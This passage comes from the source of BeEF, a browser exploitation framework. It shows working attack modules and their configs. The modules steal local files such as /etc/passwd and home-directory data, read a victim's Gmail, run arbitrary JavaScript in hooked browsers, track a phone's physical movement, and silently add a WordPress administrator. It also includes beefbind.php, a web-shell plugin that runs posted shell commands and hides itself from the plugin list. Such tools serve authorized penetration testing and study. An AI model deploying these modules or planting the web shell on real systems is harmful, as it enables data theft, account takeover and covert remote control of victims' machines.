regex\n\t\t\t\t\t\t\t\t\t\t\t    //user = tmp.responseText.match(/\\x03\\x57(.*)\\x12/)[1];\n                                                user = tmp.responseText.match(/\\x54(.*)\\x12\\x01/)[1];\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t    homedir = \"/Users/\"+user+\"/\";\n\t\t\t\t\t\t\t\t\t\t\t    grabFiles(homedir,\"mac\")\n\t\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    return true;\n\t\t\t\t\t\t\t    }\n\t\t\t\t    },\n\t\t\t\t\n\t\t\t    linux:{\n\t\t\t    // Linux username discovery\n\t\t\t\t    discover : function(){\n\t\t\t\t\t\t\t\t\t    tmp = new XMLHttpRequest()\n\t\t\t\t\t\t\t\t\t    tmp.open('get',\"file:///\"+fileList['linux']['discover'])\n\t\t\t\t\t\t\t\t\t    tmp.send()\n\t\t\t\t\t\t\t\t\t    tmp.onreadystatechange=function(){\n\t\t\t\t\t\t\t\t\t\t    if(tmp.readyState==4){\n\t\t\t\t\t\t\t\t\t\t\t    userDir = tmp.responseText.match(/[a-z0-9]*:x:[0-9]{4}:[0-9]{4}:[^:]*:([^:]*)/)[1];\n\t\t\t\t\t\t\t\t\t\t\t    homedir = userDir+\"/\";\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t    grabFiles(homedir,\"linux\")\n\t\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    return true;\n\t\t\t\t\t\t\t    }\n\t\t\t\t    },\n\n\t\t\t\n\t\t\t    ios:{\n\t\t\t    // Grab ipad stuff\n\t\t\t\t    discover : function(){\n\t\t\t\t\t\t\t\t\t    tmp = new XMLHttpRequest()\n\t\t\t\t\t\t\t\t\t    tmp.open('get',fileList['ios']['discover'])\n\t\t\t\t\t\t\t\t\t    tmp.send()\n\t\t\t\t\t\t\t\t\t    tmp.onreadystatechange=function(){\n\t\t\t\t\t\t\t\t\t\t    if(tmp.readyState==4){\n\t\t\t\t\t\t\t\t\t\t\t    homedir = \"file:///\";\n\t\t\t\t\t\t\t\t\t\t\t    grabFiles(homedir,\"ios\")\n\t\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    }\n                                        return true;\n\t\t\t\t\t    }\n\t\t\t\t    },\n\n                custom:{\n                // Grab custom stuff\n                    discover : function(){\n                                        tmp = new XMLHttpRequest()\n                                        tmp.open('get',fileList['custom']['discover'])\n                                        tmp.send()\n                                        tmp.onreadystatechange=function(){\n                                            if(tmp.readyState==4){\n                                                homedir = \"file:///\";\n                                                grabFiles(homedir,\"custom\")\n                                            }\n                                        }\n                                        return true;\n                        }\n                    },\n\t\t\t    android:{\n\t\t\t    // figure out what app (gmail, browser, or dolphin?) android \n\t\t\t\t    discover : function(){\n\t\t\t\t\t\t\t\t    //document.location=\"http://kos.io/\"\n\t\t\t\t\t\t\t\t\t    tmp = new XMLHttpRequest()\n\t\t\t\t\t\t\t\t\t    tmp.open('get',fileList['android']['discover'])\n\t\t\t\t\t\t\t\t\t    tmp.send()\n\t\t\t\t\t\t\t\t\t    tmp.onreadystatechange=function(){\n\t\t\t\t\t\t\t\t\t\t    if(tmp.readyState==4){\n\t\t\t\t\t\t\t\t\t\t\t    if(/.*android\\.gm.*/.test(tmp.responseText)){\n\t\t\t\t\t\t\t\t\t\t\t\t    document.location=\"http://kos.io/gmail\"\n\t\t\t\t\t\t\t\t\t\t\t    } else if(/.*android\\.browser.*/.test(tmp.responseText)){\n\t\t\t\t\t\t\t\t\t\t\t\t    document.location=\"http://kos.io/browser\"\n\t\t\t\t\t\t\t\t\t\t\t    } else if(/.*ek\\.TunnyBrowser.*/.test(tmp.responseText)){\n\t\t\t\t\t\t\t\t\t\t\t\t    document.location=\"http://kos.io/dolphin\"\n\t\t\t\t\t\t\t\t\t\t\t    }\n\n\t\t\t\t\t\t\t\t\t\t\t    grabFiles(\"/\",\"android\")\n\t\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    }\n\t\t\t\t\t\t\t\t\t    return true;\n\t\t\t\t\t\t\t    }\n\t\t\t\t    }\n\t\t\t\n\t\t\n    }\n\n\n    function identify(){\n        \n        // custom file is specified\n        if ('<%== @target_file %>' != 'autodetect') {\n            return \"custom\"\n\n        // determine a good file to steal based on platform\n        } else {\n            if(/.*Android.*/.test(navigator.userAgent)){\n                return \"android\"\n            } else if(/Linux.*/i.test(navigator.platform)){\n                return \"linux\"\n            } else if(/iP.*/i.test(navigator.platform)){\n                return \"ios\"\n            } else if(/.*Mac.*/i.test(navigator.userAgent)){\n                return \"mac\"\n            } else if(/.*Windows.*/i.test(navigator.userAgent)){\n                return \"windows\"\n            } else if(/.*hpwOS.*/i.test(navigator.platform)){\n                return \"webos\"\n            }\n        }\n    }\n\n\n    function discoverUsers(os){\n\t    return functionList[os]['discover']()\n    }\n\n\n    function grabFiles(dir,os){\n\t    tmpfile = {}\n\t    for (i in fileList[os]['post']){\n            beef.debug('dir = ' + dir);\n            beef.debug('fileList: ' + fileList[os]['post'][i]);\n\t\t    beef.debug(i);\n\t\t    tmpfile[i] = new XMLHttpRequest()\n\t\t    tmpfile[i].open ('get',dir+\"/\"+fileList[os]['post'][i]);\n\t\t    tmpfile[i].send();\n            \n\t\t    tmpfile[i].onreadystatechange=function(){\n                for (j in fileList[os]['post']){\n\t\t\t        if(tmpfile[j].readyState==4){\n                        beef.debug('new returned for: ' + j);\n                        result = j +\": \"+ tmpfile[j].responseText;\n                        \n                        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result);\n\t\t\t        }\n                }\n\t\t    }\n            \n\n\t    }\t\n \n    }\n\n\n    discoverUsers(identify());\n   \n    \n\n});\n"
  },
  {
    "path": "modules/misc/local_file_theft/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#  local_file_theft\n#\n#  Shamelessly plagurised from kos.io/xsspwn\n\nbeef:\n    module:\n        local_file_theft:\n            enable: true\n            category: \"Misc\"\n            name: \"Local File Theft\"\n            description: \"JavaScript may have filesystem access if we are running from a local resource and using the file:// scheme.<br/>This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in Safari from the your localfile system.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"S\"]\n"
  },
  {
    "path": "modules/misc/local_file_theft/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# local_file_theft\n#\n# Shamelessly plagurised from kos.io/xsspwn\n\nclass Local_file_theft < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'target_file',\n        'description' => 'The full path to the local file to steal e.g. file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb',\n        'ui_label' => 'Target file',\n        'value' => 'autodetect' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/misc/nosleep/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  enableNoSleep = function() {\n    var noSleep = new NoSleep();\n    noSleep.enable();\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=NoSleep initiated');\n    document.removeEventListener('touchstart', enableNoSleep, false);\n  }\n\n  init = function() {\n    document.addEventListener('touchstart', enableNoSleep, false);\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=waiting for user input');\n  }\n\n  if (typeof NoSleep == \"undefined\") {\n    var script = document.createElement('script');\n    script.type = 'text/javascript';\n    script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/NoSleep.js';\n    $j(\"body\").append(script);\n    setTimeout(init(), 5000);\n  }\n\n});\n\n"
  },
  {
    "path": "modules/misc/nosleep/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        no_sleep:\n            enable: true\n            category: \"Misc\"\n            name: \"No Sleep\"\n            description: \"This module uses <a href='https://github.com/richtr/NoSleep.js'>NoSleep.js</a> to prevent display sleep and enable wake lock in any Android or iOS web browser.\"\n            authors: [\"bcoles\"]\n            target:\n                working:\n                    ALL:\n                        os: [\"iOS\", \"Android\"]\n"
  },
  {
    "path": "modules/misc/nosleep/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass No_sleep < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/nosleep/NoSleep.min.js', '/NoSleep', 'js')\n  end\n\n  def self.options\n    []\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('NoSleep.js')\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/misc/nosleep/update-lib",
    "content": "#!/bin/sh\nwget 'https://raw.githubusercontent.com/richtr/NoSleep.js/master/NoSleep.min.js' -O NoSleep.min.js\n"
  },
  {
    "path": "modules/misc/raw_javascript/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar result; \n\n\ttry { \n\t\tresult = function() {<%= @cmd %>}(); \n\t} catch(e) { \n\t\tfor(var n in e) \n\t\t\tresult+= n + \" \" + e[n] + \"\\n\"; \n\t} \n\t\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/raw_javascript/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        raw_javascript:\n            enable: true\n            category: \"Misc\"\n            name: \"Raw JavaScript\"\n            description: \"This module will send the code entered in the 'JavaScript Code' section to the selected hooked browsers where it will be executed. Code is run inside an anonymous function and the return value is passed to the framework. Multiline scripts are allowed, no special encoding is required.\"\n            authors: [\"wade\", \"vo\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/misc/raw_javascript/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Raw_javascript < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'cmd', 'description' => 'Javascript Code', 'ui_label' => 'Javascript Code', 'value' => \"alert(\\'BeEF Raw Javascript\\');\\nreturn \\'It worked!\\';\",\n        'type' => 'textarea', 'width' => '400px', 'height' => '100px' }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/read_gmail/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\tvar result; \n\n\ttry { \n\t\tx = new XMLHttpRequest();\n\t\tx.open('get', 'https://mail.google.com/mail/feed/atom', false);\n\t\tx.send();\n\n\t\tstr = x.responseText; var re = /message_id=([A-Z,a-z,0-9]*)/g;\n\t\tvar match;\n\t\twhile(match = re.exec(str)) {\n\t\t\tx = new XMLHttpRequest();\n\t\t\tx.open('get', 'https://mail.google.com/mail/u/0/h/?&v=om&th='+match[1]+'&f=1&f=1', false);\n\t\t\tx.send();\n\t\t\tresult += x.responseText;\n\t\t}\n  \t\n\t} catch(e) { \n\t\tfor(var n in e) \n\t\t\tresult+= n + \" \" + e[n] + \"\\n\"; \n\t} \n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/read_gmail/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        read_gmail:\n            enable: true\n            category: \"Misc\"\n            name: \"Read Gmail\"\n            description: \"If we are able to run in the context of mail.google.com (either by SOP bypass or other issue) then lets go read some email, grabs unread message ids from gmails atom feed, then grabs content of each message\"\n            authors: [\"mh\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/misc/read_gmail/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Read_gmail < BeEF::Core::Command\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/track_physical_movement/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var status = 'loading';\n  var update_interval = 1000;\n\n  if (!beef.hardware.isMobileDevice()) {\n    beef.debug(result);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'fail=' + result, beef.are.status_error());\n  }\n\n  var historicMotion = {\n    \"x\": [],\n    \"y\": [],\n    \"z\": []\n  }\n  var historicOrientation = {\n    \"x\": [],\n    \"y\": [],\n    \"z\": []\n  }\n\n  function setStatus(new_status) {\n    if (status == new_status) return; // status hasn't changed\n\n    status = new_status;\n    beef.debug(new_status);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());\n  }\n\n  function updateStatus() {\n    var movement = mostRecentMovementOverall(75)\n\n    lastHistoricOrientationX = historicOrientation[\"x\"][historicOrientation[\"x\"].length - 1];\n    lastHistoricOrientationY = historicOrientation[\"y\"][historicOrientation[\"y\"].length - 1];\n    lastHistoricOrientationZ = historicOrientation[\"z\"][historicOrientation[\"z\"].length - 1];\n\n    // Below some stupid, very basic code to guess what the user is doing\n    // As described in the README, this is just a proof of concept\n    if (mostRecentMovementOverall(4000) > 40) { // TODO: haven't tested this, 1,000 so it's a longer time\n      setStatus(\"driving or other form of transportation\")\n    } else if (lastHistoricOrientationZ > 70 || lastHistoricOrientationZ < -70) {\n      setStatus(\"lying in bed sideways, or taking a landscape picture\")\n    } else if (lastHistoricOrientationY > 160 || lastHistoricOrientationY < -160) {\n      setStatus(\"lying on your back, with your phone up\")\n    } else if (lastHistoricOrientationY >= 30 && lastHistoricOrientationY < 70) {\n      if (movement > 18) {\n        setStatus(\"using your phone while walking\")\n      } else {\n        setStatus(\"using your phone, sitting or standing\")\n      }\n    } else if (lastHistoricOrientationY >= 70 && lastHistoricOrientationY < 95) {\n      if (movement > 18) {\n        setStatus(\"using your phone while walking\")\n      } else {\n        setStatus(\"taking a picture\")\n      }\n    } else if (lastHistoricOrientationY >= 95 && lastHistoricOrientationY < 120) {\n      setStatus(\"taking a selfie\")\n    } else if (Math.round(lastHistoricOrientationZ) == 0 && Math.round(lastHistoricOrientationY) == 0) {\n      setStatus(\"using the phone on a table\")\n    } else {\n      if (movement > 18) {\n        setStatus(\"using your phone while walking\")\n      } else {\n        setStatus(\"using your phone, sitting or standing\")\n      }\n    }\n  }\n\n  function mostRecentMovementOverall(numberOfHistoricPoints) {\n    return (mostRecentMovement(historicMotion[\"x\"], numberOfHistoricPoints, true) + \n            mostRecentMovement(historicMotion[\"y\"], numberOfHistoricPoints, true) + \n            mostRecentMovement(historicMotion[\"z\"], numberOfHistoricPoints, true)) / 3.0\n  }\n\n  // numberOfHistoricPoints: 100 is about 3 seconds\n  function mostRecentMovement(array, numberOfHistoricPoints, removeNegatives) {\n    if (array.length > numberOfHistoricPoints) {\n      totalSum = 0\n      for (var toCount = 0; toCount < numberOfHistoricPoints; toCount++) {\n        currentElement = array[array.length - toCount - 1]\n        currentElement *= (1 - toCount / numberOfHistoricPoints) // weight the most recent data more\n        if (currentElement < 0 && removeNegatives) currentElement = currentElement * -1 \n        if (currentElement > 0.1 || currentElement < -0.1) totalSum += currentElement\n      }\n      return totalSum * 100 / numberOfHistoricPoints\n    }\n    return 0 // not enough data yet\n  }\n\n  window.addEventListener(\"devicemotion\", motion, false);\n\n  function motion(event) {\n    //motionX = (mostRecentMovement(historicMotion[\"x\"], 150, false)).toFixed(2)\n    //motionY = (mostRecentMovement(historicMotion[\"y\"], 150, false)).toFixed(2)\n    //motionZ = (mostRecentMovement(historicMotion[\"z\"], 150, false)).toFixed(2)\n\n    historicMotion[\"x\"].push(event.acceleration.x)\n    historicMotion[\"y\"].push(event.acceleration.y)\n    historicMotion[\"z\"].push(event.acceleration.z)\n  }\n\n  window.addEventListener(\"deviceorientation\", orientation, false);\n\n  function orientation(event) {\n    //orientationX = Math.round(event.alpha)\n    //orientationY = Math.round(event.beta)\n    //orientationZ = Math.round(event.gamma)\n\n    historicOrientation[\"x\"].push(event.alpha)\n    historicOrientation[\"y\"].push(event.beta)\n    historicOrientation[\"z\"].push(event.gamma)\n  }\n\n  setInterval(updateStatus, update_interval)\n});\n"
  },
  {
    "path": "modules/misc/track_physical_movement/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        track_physical_movement:\n            enable: true\n            category: \"Misc\"\n            name: \"Track Physical Movement\"\n            description: \"This module will track the physical movement of the user's device. Ported from <a href='https://github.com/KrauseFx/whats-the-user-doing'>user.activity</a> by @KrauseFx.\"\n            authors: [\"bcoles\", \"KrauseFx\"]\n            target:\n                working:\n                    ALL:\n                        os: [\"iOS\"]\n"
  },
  {
    "path": "modules/misc/track_physical_movement/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Track_physical_movement < BeEF::Core::Command\n  def self.options\n    []\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/unblockui/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  $j.unblockUI();\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');\n});\n\n"
  },
  {
    "path": "modules/misc/unblockui/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        unblockui:\n            enable: true\n            category: \"Misc\"\n            name: \"UnBlockUI\"\n            description: \"This module removes all jQuery BlockUI dialogs.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/misc/unblockui/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Unblockui < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/misc/wordpress/add_user/command.js",
    "content": "/*\n  Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n  See the file 'doc/COPYING' for copying permission\n\n  This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore\n  \n  Original Author: Daniel Reece (@HBRN8).\n  Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/\n*/\n\n\nbeef.execute(function() {\n  beef_command_url = '<%= @command_url %>';\n  beef_command_id  = <%= @command_id %>;\n\n  // Adds wp.js to the DOM so we can use some functions here\n  if (typeof get_nonce !== 'function') {\n    var wp_script = document.createElement('script');\n\n    wp_script.setAttribute('type', 'text/javascript');\n    wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');\n    var theparent = document.getElementsByTagName('head')[0];\n    theparent.insertBefore(wp_script, theparent.firstChild);\n  }\n\n  var create_user_path = '<%= @wp_path %>wp-admin/user-new.php';\n\n  /*\n    When there is an error (such as incorrect email, username already existing etc),\n    the response will be a 200 with an ERROR in the body\n    \n    When successfully created, it's a 302, however the redirection is followed by the web browser\n    and the 200 is served directly to the AJAX response here and we don't get the 302,\n    so we check for the 'New user created.' pattern in the page\n  */\n  function check_response_for_error(xhr) {\n    if (xhr.status == 200) {\n      responseText = xhr.responseText;\n\n      if ((matches = /<strong>ERROR<\\/strong>: (.*?)<\\/p>/.exec(responseText))) {\n        log('User Creation failed: ' + matches[1], 'error');\n      }\n      else if (/New user created/.test(responseText)) {\n        log('User successfully created!', 'success');\n      }\n    }\n  }\n\n  function create_user(nonce) {\n    post(\n      create_user_path,\n      {\n        action: 'createuser',\n        '_wpnonce_create-user': nonce,\n        '_wp_http_referer': create_user_path,\n        user_login: '<%= @username %>',\n        email: '<%= @email %>',\n        first_name: '',\n        last_name: '',\n        url: '',\n        pass1: '<%= @password %>',\n        pass2: '<%= @password %>',\n        pw_weak: 'on', // Just in case\n        role: '<%= @role %>',\n        createuser: 'Add+New+User'\n      },\n      function(xhr) { check_response_for_error(xhr) }\n    );\n  }\n\n  // Timeout needed for the wp.js to be loaded first\n  setTimeout(\n    function() {\n      get_nonce(\n        create_user_path,\n        '_wpnonce_create-user',\n        function(nonce) { create_user(nonce) }\n      )\n    },\n    300\n  );\n\n});\n\n"
  },
  {
    "path": "modules/misc/wordpress/add_user/config.yaml",
    "content": "#\n# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n# \n# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore\n#\n#  Original Author: Daniel Reece (@HBRN8).\n#  Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/\n# \nbeef:\n    module:\n        wordpress_add_user:\n            enable: true\n            category: Misc\n            name: WordPress Add User\n            description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed.\n            authors: ['hiburn8 @hbrn8', 'Erwan LR']\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/wordpress/add_user/module.rb",
    "content": "#\n# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore\n#\n#  Original Author: Daniel Reece (@HBRN8).\n#  Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/\n#\nrequire_relative '../wordpress_command'\n\nclass Wordpress_add_user < WordPressCommand\n  def self.options\n    super() + [\n      { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' },\n      { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) },\n      { 'name' => 'email', 'ui_label' => 'Email', 'value' => '' },\n      { 'name' => 'role',\n        'type' => 'combobox',\n        'ui_label' => 'Role',\n        'store_type' => 'arraystore',\n        'store_fields' => ['role'],\n        'store_data' => [['administrator'], ['editor'], ['author'], ['contributor'], ['subscriber']],\n        'value' => 'administrator',\n        'valueField' => 'role',\n        'displayField' => 'role',\n        'mode' => 'local' }\n      # { 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' },\n      # If one day optional options are supported:\n      # { 'name' => 'url', 'ui_label' => 'Website:', 'value' => '' },\n      # { 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => '' },\n      # { 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => '' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/misc/wordpress/current_user_info/command.js",
    "content": "/*\n  Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n  See the file 'doc/COPYING' for copying permission\n  \n  Author @erwan_lr (WPScanTeam) - https://wpscan.org/\n*/\n\n\nbeef.execute(function() {\n  beef_command_url = '<%= @command_url %>';\n  beef_command_id  = <%= @command_id %>;\n\n  // Adds wp.js to the DOM so we can use some functions here\n  if (typeof get_nonce !== 'function') {\n    var wp_script = document.createElement('script');\n\n    wp_script.setAttribute('type', 'text/javascript');\n    wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');\n    var theparent = document.getElementsByTagName('head')[0];\n    theparent.insertBefore(wp_script, theparent.firstChild);\n  }\n\n  var user_profile_path = '<%= @wp_path %>wp-admin/profile.php'\n\n  function process_profile_page(xhr) {\n    if (xhr.status == 200) {\n      username = xhr.responseXML.getElementById('user_login').getAttribute('value');\n      email = xhr.responseXML.getElementById('email').getAttribute('value');\n\n      log('Username: ' + username + ', Email: ' + email, 'success');\n    } else {\n      log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error');\n    }\n  }\n\n  // Timeout needed for the wp.js to be loaded first\n  setTimeout(\n    function() { get(user_profile_path, function(response) { process_profile_page(response) }) },\n    300\n  );\n\n});\n\n"
  },
  {
    "path": "modules/misc/wordpress/current_user_info/config.yaml",
    "content": "#\n# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Author @erwan_lr (WPscanTeam) - https://wpscan.org/\n#\nbeef:\n    module:\n        wordpress_current_user_info:\n            enable: true\n            category: Misc\n            name: WordPress Current User Info\n            description: Get the current logged in user information (such as username, email etc)\n            authors: ['Erwan LR']\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/wordpress/current_user_info/module.rb",
    "content": "#\n# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Author @erwan_lr (WPscanTeam) - https://wpscan.org/\n#\nrequire_relative '../wordpress_command'\n\nclass Wordpress_current_user_info < WordPressCommand\nend\n"
  },
  {
    "path": "modules/misc/wordpress/upload_rce_plugin/beefbind.php",
    "content": "<?php\n/**\n * Plugin Name: beefbind\n * Plugin URI: https://beefproject.com\n * Description: BeEF bind shell with CORS.\n * Version: 1.1\n * Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam)\n * Author URI: https://twitter.com/bmantra\n * License: Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net - Browser Exploitation Framework (BeEF) - https://beefproject.com - See the file 'doc/COPYING' for copying permission\n**/\n\nheader(\"Access-Control-Allow-Origin: *\");\n\ndefine('SHA1_HASH', '#SHA1HASH#');\ndefine('BEEF_PLUGIN', 'beefbind/beefbind.php');\n\nif (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) {\n\tif (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) {\n\t\tif (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) {\n\t\t\techo system($_POST['cmd']);\n\t\t}\n\t}\n}\n\nif (defined('WPINC')) {\n\tfunction hide_plugin() {\n\t    global $wp_list_table;\n\t    \n\t    foreach ($wp_list_table->items as $key => $val) {\n\t        if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }\n\t    }\n\t}\n\tadd_action('pre_current_active_plugins', 'hide_plugin');\n\n\t// For Multisites\n\tfunction hide_plugin_from_network($plugins) {\n\t    if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }\n\n\t    return $plugins;\n\t}\n\tadd_filter('all_plugins', 'hide_plugin_from_network');\n}\n?>"
  },
  {
